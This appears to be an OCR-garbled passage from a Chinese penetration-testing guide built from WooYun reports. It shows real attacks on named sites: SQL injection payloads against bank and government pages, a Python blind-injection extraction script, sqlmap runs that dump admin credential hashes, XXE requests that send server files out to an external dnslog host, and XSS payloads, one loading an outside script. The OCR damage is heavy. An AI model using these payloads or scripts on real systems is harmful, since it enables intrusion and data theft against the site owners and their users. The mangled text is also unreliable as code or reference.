Cookie: JSESSIONID=000Ow_D-sKIADvPSpHN1zVPvoZ]:-1 Content-Type: text/htnl; charset=GB2512

Comnzction: close Content-Language: zhCN
Error 500: no mapping found for prefix:
&#39; /Home /CN&39; AND

length&#40; systen_userdd11; ks MRy
%139 ; 18439 ; =839 ; 18239 \wooyun.d

. dzbehina. con

% waf B I sqlmap A%
available databases [10]:

[*] DB2INST1

[*] NULLID

[*]sQL

[*] SYSCAT

[*] SYSFUN

[*] SYSIBM

[*] SYSIBMADM

[*] SYSPROC

[*] SYSSTAT

[*] SYSTOOLS

current database: 'CMSDB'
database management system users [1]:
[*] DB2INST1

[313 tables]

4 4
T T

| ADVISE_WORKLOAD |

| AREA |

| AREA_EMAIL |

| COMPANY_LOANS |

| D2S_BLOCK_TEMPLATEMAP |

| D2S_CHANEL_CHANEL_RELATIONSHIP |
| D2S_CHANNEL_BLOCKMAP |

| D2S_CHANNEL_INFO_RELATIONSHIP |
| D2S_CHANNEL_TEMPLATEMAP |

| D2S_INFO_BLOCKMAP |

| D2S_INFO_CHANNEL_RELATIONSHIP |



| D2S_INFO_INFO_RELATIONSHIP |
| D2S_INFO_TEMPLATEMAP |

| D2S_TEMPLATE |

| EMAIL_SEND_LOG |

a. d RS sql f/REE
FH: FHAT EUNEES sql /R ETE root

http://*k. %k, %k, %k//cmsDeskArticle/bankCardType/1 JEN M

2 information schema ANEEA, sqlmap ##stibtn HERT RIS AT UG R HR

¥ = & SQL- XSS+ Encryption Encodingr Otherr

URL | hitp://www.fuxinbank.com//cmsDeskArticle/bankCardType/1' or length(database())=6 and 1=1 or '1'="
URL

ute

("] Enable Post data [ | Enable Referrer

BMtRIT 24068 BEER . -

G BANK OF FUXIN

LEEE hikd g Eflkss Fikss BFET

mrae @ © an

LEUE: 850> >

i} L’}

WESTA | RSt

Lii1/0m §3

ok

>

www.wooyun.org

INT v/ = & SQL- XSS+ Encyption Encoding: Other=

@ Load URL | httpy//www.fuxinbank com//cmsDeskArticle/bankCardType/1" or length(database()=7|and 1=1 or '1'=*
& spliturL

v Execute

[ ] Enable Post data [ | Enable Referrer

B BWRIT 24064 HBTHA o -

BANK OF FUXIN

AR PAC (bl ERfRdkss ks HBFRGT

srae @ © &0
MR mER > >

RRRASE HESIEA

REFFRT20125 "RTEE T EHE
EHE3S

U EEF AN

ARTDHHEE

LURSS TRt DULE iR

TR RENNEEAILY (TR RS ek

I B -

EEeE

[ax]

WAES | WEnTh

FERS

SR,



THEHEAT
1’ or length(database())=7 and 1=1 or ' 1'=
1" or ascii(mid((database()),1,1))=102 and 1=1 or '1’'=" f
1’ or ascii(mid((database()),2,1))=120 and 1=1 or ' 1'=" x
1" or ascii(mid((database()),3,1))=45 and 1=1 or '1I’=" -
1’ or ascii(mid((database()),4,1))=98 and 1=1 or "1’="b
1’ or ascii(mid((database()),5,1))=97 and 1=1 or '1I’=" a
1" or ascii(mid((database()),6,1))=110 and 1=1 or '1’=" n
1" or ascii(mid((database()),7,1))=107 and 1=1 or '1’=" k
fx—bank
> or ascii(mid(version(),1,1))=53 and 1=1 or '1’="m
> or ascii(mid(version(),2,1))=46 and 1=1 or ' 1’=
> or ascii(mid(version(),3,1))=53 and 1=1 or '1’=" 5
> or ascii(mid(version(),4,1))=46 and 1=1 or ' 1I’=
> or ascii(mid(version(),5,1))=50 and 1=1 or ' 1’=" 2
> or ascii(mid(version(),6,1))=49 and 1=1 or '1’=" 1
> or ascii(mid(version(),7,1))=45 and 1=1 or 'I'=" -
> or ascii(mid(version(),8,1))=108 and 1=1 or "1’=" 1

0

1
1
1
1
1
1
1
1
1" or ascii(mid(version(),9,1))=111 and 1=1 or ' 1’ =
1
m
1
1
1
1
1

)

or ascii(mid(version(), 10,1))=103 and 1=1 or '1’=" g
.5.21-1og

* or ascii(mid(user(),1,1))=114 and 1=1 or "1’ =

* or ascii(mid(user(),2,1))=111 and 1=1 or "1’ =
or ascii(mid(user(),3,1))=111 and 1=1 or 'I'=

> or ascii(mid(user(),4,1))=116 and 1=1 or "1’ =

> or ascii(mid(user(),5,1))=64 and 1=1 or '1I'=" @
1" or ascii(mid(user(),6,1))=108 and 1=1 or "1’=" 1

root@localhost

<+ O O =

a. e I TE HYE

I WE AL EE

PH post

POST /location/upload peerinfo HTTP/1.1

Host: interface. x19. xunlei. com

User—Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0

Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */%;q=0. 8
Accept-Language: zh—CN, zh;q=0. 8, en-US;q=0. 5, en;q=0. 3

Accept—Encoding: gzip, deflate

DNT: 1



Cookie: sessionid=CC824A20602118045BF9B8150499AD86; userid=50947382;
peerid=50E549E88890F5GQ; client=pc; v=7.10. 33. 358
Connection: keep—alive
Cache—Control: max—age=0
Content-Type: application/x—www—form—urlencoded
Content-Length: 74
w r )

{7cpu”:””, “devicename” : “ZHONGWEN”, “devicetype”:"pc”, “imei”:””, “memory” :

devicename\devicetype #FZIEN A

Parameter: JSON devicename ((custom) POST)

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

Payload: {7cpu”:””,”devicename”:”ZHONGWEN" AND (SELECT * FROM
(SELECT (SLEEP (5) ) ) DEhT) AND
"AgGq’ = AgGq”, “devicetype”:"pc”, “imei”:””, “memory”:””}
Parameter: JSON devicetype ((custom) POST)

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

Payload: {7cpu”:””,”devicename”:”ZHONGWEN”, “devicetype”:”pc’ AND (SELECT
FROM (SELECT (SLEEP(5)))KNUs) AND ’HTgX = HTgX”, “imei”:””, “memory”:””}

available databases [6]:
[*] "x19\x81\x8lomplain
[*] information schema
[*] x

[*] x19 location

[*] x19 tracer

[*] x19 user ip loc

[15:55:53] [INFO] fetching tables for database: ’x19 user ip loc’
[15:55:53] [INFO] fetching number of tables for database ’x19 user ip loc’
[15:55:53] [INFO] resumed: 257

x19_user_ip_loc XANEHEKM) #2H Fdxm ip B .

a. fOracle BiE

ZH). FEEAMIT Oracle BYE (MYE&IIERIA)



TEAMAE

http://*%. %k %k %k/wem/cm ly/goToLycont. action?fhtype=1&id=8a4ac70250£05d9e0151
590e127808da’ AND length (SYS CONTEXT C USERENV’,’ CURRENT USER’))=3 AND ’ xxx’ = xxx

ZH id PR RE S B SQLL

http://*%. %k % %k/wem/cm ly/goToLycont. action?fhtype=1&id=8a4ac70250£05d9e0151
590e127808da’ AND length (SYS CONTEXT C USERENV’,’ CURRENT USER’))=3 AND ’ xxx’ = xxx

INT ~| = & SQL- XSS~ Enayption- Encoding- Other-

@ LoadURL  httpy//www.grs.gov.en/wom/cm_ly/goTolycont. 90e127808da’ AND ,CONTEXT('USERENV','CURRENT,USER‘)‘:S ﬁ‘ND “00¢ =000
\ /
& split URL e

¥ Execute

[7] Enable Pa%

®5:20151130234113  E(1: DAR 1RO : BUGREE A : 2015 1130

/T | G5, RENESUN—GR0T , SEENEN , BEERURTEEET , TRRRETN

[ & mn= TEHEF IR R LA , TS LA, prs
\ ]
\ HEAnEaRREE. /
N\ / N
T 0.AKE
. 7 ‘@'a &K 0
F2015-12-01%8% - = &
e _— ®IHm@EE
TamssEEaEERE. D2 meu
i@

www.wooyun.org

http://*%. %k %k %k/wem/cm ly/goToLycont. action?fhtype=1&id=8a4ac70250£05d9e0151
590e127808da’ AND length (SYS CONTEXT C USERENV’,’ CURRENT USER’))=4 AND ’ xxx’ = xxx

@ Load URL P i /em_ly/goToLycont.acti 18&id 0;
% split URL

51500e127808da’ AND lengt _CONTEXT('USERENV', CURRENT_USER'))=4 AND, “ocx'="500¢
{ )

) Execute

[7] Enable Post data (7] Enable Referrer

( V‘? 3.8Kis
. + 18.2Ks
"I HEd
“loatrigh’
~ar
null
N Www.wooyun.or
G kQ yun.org

RBIA—HE, FIWH P48 3 7R/
EEEGE A . 3% B 2445 CURRENT USER F1 0S USER, HAth2K4u

#!/usr/bin/env python
# —k— coding: utf-8 —k—



# @Author:
import requests
url =
“http:/ /%% sk sk sk /wem/cm 1y/goToLycont. action?fhtype=1&id=8a4ac70250f05d9e015
1590e127808da”
payloads=" ABCDEFGHI JKLMNOPQRSTUVWXYZabcdefghigk Imnopqrstuvwxyz0123456789@ .’
header = {

"User—Agent”:"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0)
Gecko/20100101 Firefox/45.07,

“Cookie”:” JSESSIONID=5V1JX jMpQLtRI2Rx J62KrMQL£Y4t6xpdQCBfcXLHtT2yz4 jsT7Gr! 1
4788795107,
“Accept”:””
}
def getData():
user=""
for i in range(l,4,1):
for exp in list(payloads):
try:
payload = 77 AND
substr (SYS CONTEXT (" USERENV’,” CURRENT USER’ ), %s, 1)="%s’ AND ’xxx =" xxx” %
(i,”’ . join(exp))
r = requests. get (url +
payload, headers=header, allow redirects=False, timeout=100)
res = r. text
#print exp
if res. find(”20151130234113”) >0 :
usert=exp
print ’\n user is:’,user,
except:
pass

print ’\n[Done] Oracle user is %s’ %user

def getDataBase () :
user="’
for i in range(0,13,1):
for exp in list(payloads):
try:
payload = 7" AND
substr (SYS CONTEXT (C USERENV’,” 0S USER’ ), %s, 1)="%s’ AND ’*xxx = xxx_ %
(i,””. join(exp))
r = requests. get (url +
payload, headers=header, allow redirects=False, timeout=100)

res = 1. text



Hprint exp
if res. find(”201511302341137) >0 :
user+=exp
print “\n OS USER is:’,user,
except:
pass
print “\n[Done] Oracle 0S USER is %s’ %user
if name ==’ main
#len = getlLength()
getData ()
getDataBase ()

ARSI

C:sPython2?>python oracle—x.py

uszer iz:- R

uzer iz: RE

uszer is: RST

[Donel Oracle uszer iz RET

05 _USER
05 _USER
05 _USER
05 _USER
05 _USER
05 _USER
05 _USER
05 _USER
05 _USER
05 _USER
05 _USER

A

AR

AAd

AAdm

AAdmi

AAdmin
AAdmini
AAdminis
AAdminist
AfAdminiztr
AAdminisztra
0S5 _USER AAdministrat
0S5 _USER AAdministrato
[Donel Oracle OS5_USER iz AAdministrato

I T R I R E o

| R R R

=]
L T - T T B T T~ - - I
T T L T T T TR TR TR TR TR T

"N

a. g Xxe BiF

F5: R 54k XXE B EE WATIEL cloudeye Bl A SEBLAIF A AL

HPA xml AMRSEAAIEN

Hoilik: http://106. 2. 32. 66:8080/webdav/



1PV J 1l -

ip138. com IPE ) (1= IPHLhE A MhIBLAr )

AW IP: 106. 2. 32. 66

. ﬁiﬁ%{%: HTARNT THE ST EN RS IR
ol BGPEZ
. SRR AT SRRV ERAT www.wooyun.org

TEAE—Mhb webdav H3%, SZFEr@EE PROPFIND /7 sIRAT xml 45 M1k K
#i& xxe MR payload:

PROPFIND /webdav/ HTTP/1. 1
Content—type: application/xml
Depth: 0
Connection: Keep—alive
TE: trailers
Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==
Host: 106. 2. 32. 66:8080
Content—Length: 172
Accept—Encoding: gzip, deflate
User—Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like
Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<?xml version="1.0" encoding="utf-8"?>
<IDOCTYPE dtz3zkd [
CIENTITY % dtd SYSTEM “http://66ae2b. dnslog. info/”>
%dtd; 1>
<{propfind xmlns="DAV:”><allprop/></propfind>

cloudeye apache H&E:

o= DNS Apache
6ae2b.dnslog.info ApacheEE(1) |
Trace Log:

[28/Apri2016:14:43:52 +0800] 106.2.32.66 - - 66ae2b.dnslog.info GET / HTTP/1.1 200 "Java/1.6.0_36" "-"

Www.wooyun.org

response IR [FI £ 4 :

<?xml version="1.0" encoding="utf-8” ?>



<multistatus xmlns="DAV:”><response><href>/webdav/</href>
{propstat><prop><{creationdate>2015-07-13T12:13:57Z</creationdate>
<{displayname><! [CDATA[]]></displayname>
{resourcetype><{collection/></resourcetype>

{source></source>
<{supportedlock><lockentry><lockscope><exclusive/></lockscope><locktype><write/>
<{/locktype></lockentry><lockentry><lockscope><shared/></lockscope><locktype><wr
ite/></locktype></lockentry></supportedlock>

<{/prop>

{status>HTTP/1.1 200 OK</status>

{/propstat>

{/response>

<{/multistatus>

UEWIAEDT xml I S350 7 ARSI, A7 4E XXE IR

Ja SR xml 1R IRE R W, F e 4k sl cloudeye FRHX blind xxe [ 45 R .
B — AR A B 25 A ded SO

<?xml version="1.0" encoding="UTF-87?>
CIENTITY % all “<!ENTITY &#x25; send SYSTEM
“http://66ae2b. dnslog. info/?xml1=%payload;” >”>
%all:

I chttp://*. % % *: 8080/xml/evil. dtd
PR #iE 15 SR payload 32X hostname:

PROPFIND /webdav/ HTTP/1. 1

Content—type: application/xml

Depth: 0O

Connection: Keep—alive

TE: trailers

Authorization: Basic YWbvbnltb3VzOmFub255bW91cw==

Host: 106. 2. 32. 66:8080

Content—Length: 172

Accept—Encoding: gzip, deflate

User—Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like

Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: /%

<?xml version="1.0" encoding="utf-8"?>

<IDOCTYPE a [
{IENTITY % payload SYSTEM “file:///proc/sys/kernel/hostname”>
CYENTITY % dtd SYSTEM “http://*.*. % %:8080/xml/evil. dtd”>



%dtd;

%send;

1>

<propfind xmlns="DAV:”><allprop/></propfind>

cloudeye apache H&:

%E DNS Apache
Trace Log:

[28/Apr/2016:14:43:52 +0800] 106.2.32.66 - - 66ae2b.dnslog.info GET f HTTP/1.1 200 "Java/1.6.0_36" "-"
[28/Apr/2016:14:55:58 +0800] 106.2.32.66 - - 66ae2b. dnslog.info GET /2xmi1=classa-popoatispam1 HTTP/1.1 200 "Java/1 6.0_36""-"

WWw.wooyun.org

FREUH) hostname A: classa—popoatispaml, ZHALLAZM 5 popo H Bk MR R St

TR A ATRT S #. < OFERPIRRT 5 SUHF NI, SR xml 575450, 33 payload
TCVEIEF T, Bt UGS BIME S0, 7T B4R baseb4. urlencode g J7i2K
fEruk, RIERAEARE/ (T o T)/

HR AT DL B 2 H MER NS, s/ ete/issue. net:

PROPFIND /webdav/ HTTP/1. 1

Content—type: application/xml

Depth: 0

Connection: Keep—alive

TE: trailers

Authorization: Basic YWbvbnltb3VzOmFub255bW91cw==

Host: 106. 2. 32. 66:8080

Content—Length: 172

Accept—Encoding: gzip, deflate

User—Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like

Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*

<?xml version="1.0" encoding="utf-8"?>

<IDOCTYPE a [
{IENTITY % payload SYSTEM “file:///etc/issue.net”>
CYENTITY % dtd SYSTEM “http://*.*. *. %:8080/xml/evil. dtd”>

%dtd;

%send;

1>

<propfind xmlns="DAV:”><allprop/></propfind>

#5954 Debian%20GNU/Linux%207



1% DNS Apache

B6ae2b_dnslog.info DNSH:E(D) ApacheEZE(3) l

Trace Log:

[28/Apr/2016:14:43:52 +0800] 106.2.32.66 - - 66ae2b.dnslog.info GET / HTTP/1.1 200 "Java/1.6.0_36" "-"
[28/Apr/2016:14:55:58 +0800] 106.2.32.66 - - 66ae2b.dnslog.info GET /7xmli=classa-popoatispam1 HTTP/1.1 200 "Java/1.6.0_36" "-"
[28/Apr/2016:15:06:55 +0800] 106.2.32.66 - - 66ae2b.dnslog.info GET /7xml1=Debian%20GNU/Linux%207 HTTP/.1 200 "Java/1.6.0_3g" "-"

WWW.wooyun.org

#H/etc/ssh/ssh host rsa key. pub:

PROPFIND /webdav/ HTTP/1.1

Content—type: application/xml

Depth: 0

Connection: Keep—alive

TE: trailers

Authorization: Basic YW5vbnltb3VzOmFub255bW91cw==

Host: 106. 2. 32. 66:8080

Content—Length: 172

Accept—Encoding: gzip, deflate

User—Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like

Gecko) Chrome/41.0.2228.0 Safari/537.21

Accept: */*

<?xml version="1.0" encoding="utf-87?>

<!DOCTYPE a [
CIENTITY % payload SYSTEM “file:///etc/issue.net”>
CYENTITY % dtd SYSTEM “http://*.%. *. %:8080/xml/evil. dtd”>

%dtd;

%send;

1>

<propfind xmlns="DAV:”><allprop/></propfind>

GERN:

ssh-rsa%20AAAAB3NzaClyc2EAAAADAQABAAABAQCcdWadpFCGUL9soWpo7KIc4/WlcwkevgOeMEnCS
4sSmT+{sQIFMY+h6Ab+xQrvrhp4ufIN/iR92SMe IYLCxg+DSIXKdxKob91uJKdF/z14UY/qTmRaQaAP
1AgZ sPHNBMKT5BWOSZMX-+NzHS8 jQQx6xHCk x4Bqom8SNMfePNOydYwGzehS/7oh0s9]Ygo8knT J6eke?
y/ohtzML jCoBQHFAOTtyRPoFSyfc2ksU/rZ0vAPteQvmhyclgeAmngcGV0eabzhSmNHerxqeKZ5wK7z
OmoGeoEZrfxADCH1Dbf6P+XJ3H jgDZg11BHNH4h jkdNGkVCaxpRg9CD+V/G3Ddn0X1%20root@class

a—popoatispaml



Hi&
66ae2b.dnslog.info

Trace Log:

[28/Apr/2016:14:43:52 +0800] 106.2.32.66 -
[26/Apr/2016:14:55:56 +0800] 106.2.32.66 -
[28/Apr/2016:15:06:55 +0800] 106.2.32.66 -

Apache

- 66ae2b.dnslog.info GET /HTTR/.1 200 "Java/1.6.0_36" "-"
- 66ae2b.dnslog.info GET /?xmi1=classa-popoatispam1 HTTP/1.1 200 "Java/1 6.0_36" "-"
- 66ae2b.dnslog.info GET /?xml1=Debian%20GNU/Linux%207 HTTP/1.1 200 "Java/1.6.0_36" "-"

[28/Apri2016:15:08:40 +0800] 106.2.32.66 - - 66ae2b.dnslog.info GET /7xml1=ssh-

rsa%20AAAAB3NZAC 1yC2EAAAADAQABAAABAQCCAWadpF CGUL9s0WpoTKIc4/WicwkevgOeMinCS4sSmT +fsQ1F MY +hGAD+XQrvrnp4ufliNARI2SMe
IYLCxg+DSIXKdxKob9luJKdF/zI4UY/qTmRaQaAPIAGZs PHRBMKT 5BWOBZMX+NzHEjQQxEXHCKkx4BgomBB8NMfe PNOydYwGzehS/7oh0s9JYgosknTJ6
ekeTy/ohtzMLjCoBQHFAOTYRPOF Syfe2ksUirZ OvAPteQvmhyc 1geAmnge GVOeabzh SmNHE rxqeKz swK7zOmoGeoEZ rixADCHIDBTEP+XJ3H|gDZ g 1iBH

NH4hjkdNGKVCaxpRg9CD+V/G3Ddn0XI%20rool@classa-popoatispam1 HTTR/M.1 200 "Java/1.6.0_36" "-"

b. BT EEMNEN

SQLmap - KI5 A SQL v EN IR 1) 4 3% 5 T2

sqlmap.py -u [#8E url 1 -cookie -dbs //%FIHEFEE

sqlmap.py -u [F8%E url ]

sqlmap.py -u [F8%E url ]

EiPIIES

sqlmap.py -u [F8%E url ]

Bz Sk (sqlmap H L fEZEHE)
J W ik 4 2 s 451

D [HdkEAEA] -T [HdEk4]

R G m

www.wooyun.org

- D [HFEESZ]Y - —tables //F)HFEAE R EdE R
- columns //%| B HHE

-D dvwa -T users—C user, password - dump //EF ) 44%

/@ % pun 5xp dream

dream@localhost:’home/dream/ R 8 /sqimap

IEF KE WV
Type: ercor-based
Title: 8ySOL »= 5.0 AND error-based

ause
Payload: 1d= T AND {SELECT 4513 FROM(SELECT COUNTI t), CONCAT(OXTISZTSSNTI,

(SELECT CELT(4: 13 1330, OXTITHEETETL. FLOORC RANDCOI 21 1% FRO® THFORMATION_SCH

EMA. CHARACTER_SETS GRDUF BY x)a)

19 (S; BN WRH)

'WHERE. HAVING. ORDER BY or GROUP BY cl

Type: AND/OR tize-based blind
Title: MySOL >= §.0 12 AND tise-based blind (SELECT)
Payload: 1d=4Z55T AND (SELECT + FROM (SELECT{SLEEF(%)))Yssv)

Type: UNION qguery

Title: Generic UNIOW

Payload: id=-1140
#HaSELI0C6544e4

query CNULLY - X colusn
10N ALL SELECT COMCATIOXT
DUTSITION TH06] SETHT56AS

SZTEENTL, OX4 78444 e5hIET2AbTIE
SO4L5H6C OXTITHEZITL) -~ -

web server operating system: Windows 2008 RZ or 7T
weh application technology: PHP 5 4,45 Microsoft IIS 7.5

atabases [4]

(100} 4
avallable d

(1] inforzation_schesa

[*] aysql

[ t] performance_schesa

[*] wanylw~ang

I NFUL Terchad data logged To TexT Tiieq wnde wot qivap/ outpn

WA, Wil caw

(%] shutting down at 10:12:43

[ root#localhost sqlsapid C 54 ’JEE '%]:’7:
el

[ root@l0calhost sqlsapls ||
| @ deam@loc: .

5 (dre:

s PP ERAT RS A7 AE SQLIEA

LSRR |



http://shop. cib. com. cn//?m=product&s=detail&id=457 fELEFEN

El BIER: sgmap.exe S e =

soft Windows [ A 6.1.76811
¥§ {c> 208? Microsoft Corporation. -

IC:“Python2?“sgqlnap*sglmap-py —u "http: sshop.cib.com.cnss?m=productis=detailfid=
457"

£1.8.7.158#dev?

http:--/zqlmap.org

[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual]
consent iz illegal. It iz the end user’s responsibhility to obey all applicable
local. state and federal laws. Developers assume no liability and are not respon

zible for any misuse or damage caused by this program

[#] starting at B7:83:23

zglmap resumed the following injection point<s} from stored session:
Parameter: id (GET>
Type: bhoolean—hased blind
Title: OR boolean—bhased blind — WHERE or HAUING clause (MySQL comment?> (MOT>

Pavyload: m=product&s=detailfid=457 OR HOT 1698=1678#

Type: error—based

Title: MySQL >= 5.8 AND error—based — WHERE. HAUING. ORDER BY or GROUP BY cl
ause C(FLOOR>

Payload: m=product&sz=detail&id=457 AND <(SELECT 1727 FROM{SELECT COUNT ¢> . CON
CAT (Bx716bh7878°71 . (SELECT <ELT<1727=1727.1232,8x71717a7871 , FLOORCRAND (B> =22 »x FRO
M INFORMATIOM_SCHEMA.CHARACTER_SETS GROUF BY x»al

Type: AND-OR time—bazed blind
Title: MySQL >= 5.8.12 AND time—-bhased blind
Payload: m=productd&s=detail&id=457 AND SLEEF<{5>
[A7:03:24]1 [INFQ] the back-end DBEMS is MySQL
web application technology: Apache
hack-end DBMS: MySQL >= 5.8




Bl S%ER: sqlmap.exe SIa M=

Microzoft Windows [ 6.1.76811
FfE <c> 2089 Microsoft Corporation, B

IC:~Python2?sglmap*sqlmap.py —u “http: sshop_.cib.com.cn/2?m=productés=detaildid=
457" —tables

£1.8.7.15#dev>

http://sqglmap.org

[*]1 legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent is illegal. It is the end user’s responsibility to obey all applicable
local, =s=tate and federal laws. Developers assume no liability and are not respon

zible for any misuse or damage caused by this program

[#] ztarting at A7:84:18

sglmap resumed the following injection point<{s? from stored session:
Parameter: id C(GET>
Type: boolean—baszed hlind
Title: OR hoolean—hased blind — WHERE or HAUIHG clawse (MySQL comment> C(HOT>

Payload: m=productés=detailfid=45%7 OR NOT 1698=1698#

Type: ervor—hbased

Title: MySQL »>= 5.8 AND error—hased — WHERE, HAUING, ORDER BY or GROUF BY cl
ause CFLOOR>

Payload: m=product&s=detaildid=45%7 AMD (SELECT 1727 FROM(SELECT COUNT (>, COMN
CAT {Bx716b787871 . (SELECT (ELT<{1727=1727_13>>_ Bx71717a7871 .FLOORCRAND{B> =2 >3 FRO
M INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x>al>

Type: ANMD-OR time—based bhlind
Title: MySQL >= 5.8.12 AND time-hbhased bhlind
Payload: m=productds=detailfkid=457 AND SLEEF<5>»

[B7:84:181 L[INFO]1 the back—end DBMS iz MySQL
web application technology: Apache
hack—-end DBMS: MySQL >= 5.8




25 sglmap.exe o || = 22

Database: mallbuilder
[131 table=1]

mallbuilder_activity
mallbuilder_activity_product_list
mallbuilder_admin
mallbuilder_admin_group
mallbuilder_admin_menu
mallbuilder_admin_operation_log
mallbuilder_advs

mallbuilder_advs_con

mallbuilder_after
mallbuilder_announcement
mallbuilder_apply

mallbuilder_brand

mallbuilder_brand_cat
mallbuilder_contags

mallbuilder_cron

mallbuilder_custom_cat
mallbuilder_custom_service
mallbuilder_defind_ 1
mallbuilder_defind_2
mallbuilder_delivery_address

mallbuilder_ distribution_analyse_shop
mallbuilder_distribution_commission_cat
mallbuilder distribution_commission_level
mallbuilder_distribution_commission_product
mallbuilder_distribution_commission_shop
mallbuilder_distribution_config
mallbuilder_distribution_product
mallbuilder_distribution_product_buy_order
mallbuilder_distribution_product_order
mallbuilder_distribution_shop
mallbuilder_distribution_user
mallbuilder_distribution_user_adu
mallbuilder_distribution_user_order
mallbuilder_distribution_user_product
mallbuilder_distribution_user_relationship
mallbuilder_distribution_user_settlement
mallbuilder_disteict
mallbuilder_fast_mail

mallbuilder feed
mallbuilder_filter_keyword
mallbuilder_logistics_temp

mallbuilder_ logistics_temp_con
mallbuilder_mail_mod
mallbuilder _mail record
mallbuilder_member
mallbuilder_member_card
mallbuilder_membher_card_temp
mallbuilder_member_grade
mallbuilder_member_info
mallbuilder_message
mallbuilder_msg_record

mallbuilder_naw

mallbuilder_news

mallbuilder_news_data
mallbuilder_newscat

mallbuilder_page_rec
mallbuilder_page_wview

mallbuilder_points
mallbuilder_points_cat




BN BIER: sqlmap.exe -

REFERENT IAL_CONSTRAINIS
ROUTINES

SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_UARIABLES
STATISTICS

TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIUVILEGES
UIEUs

Databhasze: mysgl
[23 tablesl

columns_priv

dhb

event

func

general_log
help_category
help_keyword
help_relation

help_ topic

host
ndb_hinlog_index
plugin

proc

Procs_priv

SEPVers

slow_log

tahles_priv
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_gzone_tranzition_type




Bl SES: sqlmap.exe o || = || &R

Microsoft Windows [ 6.1.76811 e
A ¢c> 2889 Microsoft Corporation. ﬁ$§

IC:~Python2? sglmap*sglmap.py —u “"http://shop.cib.com.cn/7?m=productis=detailfid=
457" ——current—db

{1.8.7.158#dev?

http:s//sglmap.org

[*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual]
consent iz illegal. It is the end user’'s responzibility to ohey all applicahle
local, state and federal laws. Developers assume no liabhility and are not respon

izible for any misuse or damage caused by this program

[#*] starting at B7:86:48

sglmap resumed the following injection point<s?» from stored session:
Parameter: id <GETD
Type: boolean—based bhlind
Title: OR bhoolean—based hlind — WHERE or HAUING clause (My3QL comment> (NOT>

Payload: m=productés=detail&id=457 OR HWOT 1698=1698#

Type: error—hased

Title: MySQL »= 5.8 AMD error—hased — WHERE. HAUING. ORDER BY or GROUP BY cl
ause C(FLOOR>

Payload: m=product&s=detail&id=457 AND (SELECT 1727 FROM{SELECT COUNT (=}, CON
ICAT (Bx716h787071 . (SELECT <ELT(1727=1727.1>>> 8x7?1717a7871 . FLOORCRANDCA)> =23 >x FRO
M INFORMATIOM_SCHEMA.CHARACTER_SETS GROUP BY x>a>

Type: ANDAOR time—based blind
Title:= MySQL >= 5.8.12 AND time—based hlind
Payload: m=product&s=detailfid=457 AND SLEEP{5>
[B7:86:48]1 [INFO1 the bhack-end DBME iz MySQL
weh application technology: Apache
hack—-end DBMS: MySQL >= 5.8

current database: ‘mallbuilder’




: sglmap.exe o | e || B2

do you want to store haszhes to a temporary file for eventual Further processing
with other tools [ysHl n

do you want to crack them via a dictionary-based attack? [¥Y/n gl vy

what dictionary do you want to use?

[1]1 default dictionary file 'C:“Python2?“sqglmap™txt™wordlist.zip’ <press Enterd
[2]1 custom dictionary file

[3]1 file with list of dictionary Files

>

do you want to use common password suffixes? {(slow?? [y Nl n

Databaze: mallbuilder
Table: mallbuilder_admin
[7 entries]

2h5ha8A54ab565a%7ab1?7dA77978a78 H
18016806163 26e79218965eb72c?2a542dd5%a330112 C(111141> |
aaaaa 594f8P3h3IBAa41376edb3Idcald?bhd3is42 (aaaaar 1
test B28f6bcd4621d373cadede832627h4f6 (test) H
18616318329 | 26e79218%65eh72c92a549dd5a336112 (11141112

18616325255 EEY 26e77218265eb?2c92a549dd5a330112 (111111

im_tangyf@163.com ! S ' 26e77218265eb?2c92a549dd5a330112 (111111




& ¢ c o|sasaa- cib.com.cn o o Elmigl o g =
o= fl=x Msos Ra - RS - inE - o - Pasen

»
MaliBuilder ]
TeE i

Lo ) Ao amin | BH AHES | ER

s i inemiA &

o
WwWw.wooyun.org,

2.4.2  Xss JR

XSS (Cross Site Scripting, FSuiAIAITE) & —REFHRM Web 25 P i AT AN ST F B, 18
WIRTGEE T “HTML N SR T WL, SRR AT, AT FH P 0 6 o) k428 1
PR I — Fh

2N R e A A 45 0 W A P U T R R 5 P S B, T X S Ml B i il 4 N 30
B AL TX A B s £ T 2 F A S0IE B A1 22 42 1Y), A8 A5 AR i B 25 (30
SRR, e PRSI AR o

7R CHAR R SRR IRSS 287, XSS #i N [RPHAY XSS FIAEAERL XSS,
1. ] FL A A iR (XSS payload)

<img src=1onerror=alert(1);>
</script=<script=alert(1);</script>

</script><script=alert(document.cookie);</script=
><body onload=alert(1}>

S st Pt A

eval(%26%23x27 alert(1)% x27);void

. g S35 il 19
/=<script=alert(1);</script=¢! — SECPULSE —
alert(1) e i T T

¥ payload 1E N P NS EUHR AR, X LE payload ) H 2 G html FIAREE, 8] %0245
BT o H RS AR RSB IEALHE, AU E R, A A S A A i A5 5 4
W VLA LA AT, bl XSS i, HARIREMRK,



IR L xss JRIFIRS IR, FEARREIR AR G E], 75 B M) TN 58 K1 payload Seid—
1 xss {7 BRI R

2. xss Wit R
TERfE PIENI xss A2 )5, WA P IS — ANEARIA, 0k url 3RS HEON
“>{script src=http://www. xxx. com/ec. js></script>

Wi B HIERPR B MBS AR RA T, 8 EAHRAE url KIS ECE S A KRR js IR
[CR i BUR =i b N T otV R O PO o P e NG E E U

